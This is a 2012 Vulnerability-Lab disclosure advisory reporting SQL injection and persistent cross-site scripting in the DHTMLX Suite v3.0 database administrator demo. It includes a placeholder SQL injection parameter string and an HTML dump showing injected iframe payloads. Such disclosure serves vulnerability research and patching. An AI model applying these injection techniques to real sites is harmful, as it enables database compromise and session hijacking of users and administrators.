DHTMLX Suite version 3.0 suffers from cross site scripting and remote SQL injection vulnerabilities.
368268eb4af1dc32228e81f52b2a59ea1e8e6861fad8de12bceb27019a86dc12
Title:
======
DHTMLX Suite v.3.0 - Multiple Web Vulnerabilities
Date:
=====
2012-04-11
References:
===========
http://www.vulnerability-lab.com/get_content.php?id=507
VL-ID:
=====
507
Introduction:
=============
To demonstrate the rich possibilities of DHTMLX controls and to show how they work within a
common user interface, we’ve created some demo applications which are listed below. Using
dhtmlxLayout, dhtmlxGrid, dhtmlxTree, and other dhtmlx components, you can very quickly
create your own web applications with similar user interfaces.
Ajax Application Built with DHTMLX - Database Administrator
Database Administrator This application provides database management/navigation functionality
and demonstrates simultaneous usage of the following DHTMLX components:
- dhtmlxLayout
- dhtmlxTree
- dhtmlxToolbar
- dhtmlxWindows
- dhtmlxGrid
- dhtmlxTabbar
(Copy of the Vendor Homepage: http://dhtmlx.com/docs/products/dhtmlxSuite/index.shtml )
Abstract:
=========
The Vulnerability Laboratory Team discovered multiple Vulnerabilities in the DHTMLX v.3.0 Professional|Standard Edition.
Report-Timeline:
================
2012-04-10: Public or Non-Public Disclosure
Status:
========
Published
Exploitation-Technique:
=======================
Remote
Severity:
=========
High
Details:
========
1.1
A remote SQL Injection vulnerability is detected in the DHTMLX v.3.0 Professional|Standard Edition.
The vulnerability allows an attacker (remote) or local low privileged user account to inject/execute own sql commands
on the affected application dbms. Successful exploitation of the vulnerability results in dbms & application compromise.
the vulnerability is located on the sql query module of the database administrator function which allows to inject via
POST request the database tables.
Vulnerable Module(s):
[+] SQL Query - Command Module
--- SQL Exception Logs ---
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version from
the right syntax to use near `1-` at line 1
Picture(s):
../1.png
1.2
Multiple persistent input validation vulnerability are detected in the DHTMLX v.3.0 Professional|Standard Edition.
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent)
context manipulation. Exploitation requires low user inter action.
Vulnerable Module(s):
[+] Register Form - Input Fields & Login Username Display
[+] Contacts Us - Send Input Fields & Admin output Display
[+] Add Groups Name - Control Panel
Picture(s):
../2.png
../3.png
Proof of Concept:
=================
1.1
The sql injection vulnerability ca be exploited by local privileged users of the application dbms.
For demonstration or reproduce ...
id=host%5E0%7Cdb%5EdhtmlxKING-LUI%7Ctable%5Edepartments&sql=-1'%0A[SQL-INJECTION]
[SQL-Query]
1.2
The persistent input validation vulnerabilities can be exploited by local low privileged user account with
low required user inter action. For demonstration or reproduce ...
ADD URL: http://dhtmlx.com/docs/products/demoApps/dhtmlxDBAdmin/connection.html?etc=1333992780435
Vulnerable: Input Servername & Username - Listing
<tbody><tr style="display: none;"><td class="hiddenRow"><div style="padding: 0pt; margin: 0pt; width: 18px; height: 18px;">
</div></td><td style="display: none;" width="20px"><div style="width: 16px; height: 16px;"></div></td><td style="width: 18px;
" class="standartTreeImage"><div style="padding: 0pt; margin: 0pt; width: 18px; height: 18px;"></div></td><td style="width:
100%; font-size: 10pt; cursor: pointer;" class="standartTreeRow" nowrap="nowrap"><span style="padding-left: 5px; padding-right:
5px;" class="standartTreeRow"></span></td></tr><tr style=""><td> </td><td colspan="3"><table style="margin: 0pt; padding: 0pt;"
border="0" cellpadding="0" cellspacing="0"><tbody><tr><td class="standartTreeImage"><img src="./imgs/tree/plus4.gif" style="
padding: 0pt; margin: 0pt; width: 18px; height: 18px;" align="absmiddle" border="0"></td><td style="display: none;" width="
20px"><img style="width: 16px; height: 16px;" src="./imgs/tree/iconUncheckAll.gif" align="absmiddle"></td><td style="" class=
"standartTreeImage"><img src="./imgs/tree/server.gif" style="padding: 0pt; margin: 0pt;" align="absmiddle" border="0"></td>
<td style="width: 100%; font-size: 10pt; cursor: pointer;" class="standartTreeRow" nowrap="nowrap"><span style="padding-left:
5px; padding-right: 5px;" class="standartTreeRow">db2.dhtmlx.com</span></td></tr></tbody></table></td></tr><tr style=""><td>
</td><td colspan="3"><table style="margin: 0pt; padding: 0pt;" border="0" cellpadding="0" cellspacing="0"><tbody><tr><td
class="standartTreeImage"><img src="./imgs/tree/plus3.gif" style="padding: 0pt; margin: 0pt; width: 18px; height: 18px;"
align="absmiddle" border="0"></td><td style="display: none;" width="20px"><img style="width: 16px; height: 16px;" src="./imgs/
tree/iconUncheckAll.gif" align="absmiddle"></td><td style="" class="standartTreeImage"><img src="./imgs/tree/server.gif"
style="padding: 0pt; margin: 0pt;" align="absmiddle" border="0"></td><td style="width: 100%; font-size: 10pt; cursor: pointer;"
class="standartTreeRow" nowrap="nowrap"><span style="padding-left: 5px; padding-right: 5px;" class="standartTreeRow">
ko</span></td></tr></tbody></table></td></tr><tr><td> </td><td colspan="3"><table style="margin: 0pt;
padding: 0pt;" border="0" cellpadding="0" cellspacing="0"><tbody><tr><td class="standartTreeImage"><img src="./imgs/tree/
minus3.gif" style="padding: 0pt; margin: 0pt; width: 18px; height: 18px;" align="absmiddle" border="0"></td><td style="display:
none;" width="20px"><img style="width: 16px; height: 16px;" src="./imgs/tree/iconUncheckAll.gif" align="absmiddle"></td>
<td style="" class="standartTreeImage"><img src="./imgs/tree/server.gif" style="padding: 0pt; margin: 0pt;" align="absmiddle"
border="0"></td><td style="width: 100%; font-size: 10pt; cursor: pointer;" class="standartTreeRow" nowrap="nowrap"><span style="
padding-left: 5px; padding-right: 5px;" class="selectedTreeRow">>"<iframe src="http://google.com"></iframe></span></td></tr>
<tr style=""><td style="background-image: url("./imgs/tree/line1.gif"); background-repeat:
repeat-y;"> </td>
<td colspan="3"><table style="margin: 0pt; padding: 0pt;" border="0" cellpadding="0" cellspacing="0"><tbody><tr><td class="
standartTreeImage"><img src="./imgs/tree/line2.gif" style="padding: 0pt; margin: 0pt; width: 18px; height: 18px;" align="
absmiddle" border="0"></td><td style="display: none;" width="20px"><img style="width: 16px; height: 16px;" src=".
/imgs/tree/iconUncheckAll.gif" align="absmiddle"></td><td style="" class="standartTreeImage"><img src="./imgs/tree/leaf.gif"
style="padding: 0pt; margin: 0pt;" align="absmiddle" border="0"></td><td style="width: 100%; font-size: 10pt; cursor: pointer;"
class="standartTreeRow" nowrap="nowrap"><span style="padding-left: 5px; padding-right: 5px; color: red;" class="standartTreeRow">
Connection error</span></td></tr></tbody></table></td></tr></tbody></table></td></tr><tr><td> </td><td colspan="3"><table
style="margin: 0pt; padding: 0pt;" border="0" cellpadding="0" cellspacing="0"><tbody><tr><td class="standartTreeImage">
<img src="./imgs/tree/plus2.gif" style="padding: 0pt; margin: 0pt; width: 18px; height: 18px;" align="absmiddle" border="0">
</td><td style="display: none;" width="20px"><img style="width: 16px; height: 16px;" src="./imgs/tree/iconUncheckAll.gif"
align="absmiddle"></td><td style="" class="standartTreeImage"><img src="./imgs/tree/server.gif" style="padding: 0pt; margin:
0pt;" align="absmiddle" border="0">
</td><td style="width: 100%; font-size: 10pt; cursor:
pointer;" class="standartTreeRow"
nowrap="nowrap"><span style="padding-left: 5px; padding-right: 5px;" class="standartTreeRow">
<iframe src="http://www.vulnerability-lab.com"></iframe></span></td></tr></tbody></table></td></tr></tbody>
Risk:
=====
1.1
The security risk of the sql injection vulnerability via POST is estimated as high(-).
1.2
The security risk of the persistent input validation vulnerabilities are estimated as medium(+).
Credits:
========
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)
Disclaimer:
===========
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of
other media, are reserved by Vulnerability-Lab or its suppliers.
Copyright © 2012 Vulnerability-Lab
--
VULNERABILITY RESEARCH LABORATORY TEAM
Website: www.vulnerability-lab.com
Mail: research@vulnerability-lab.com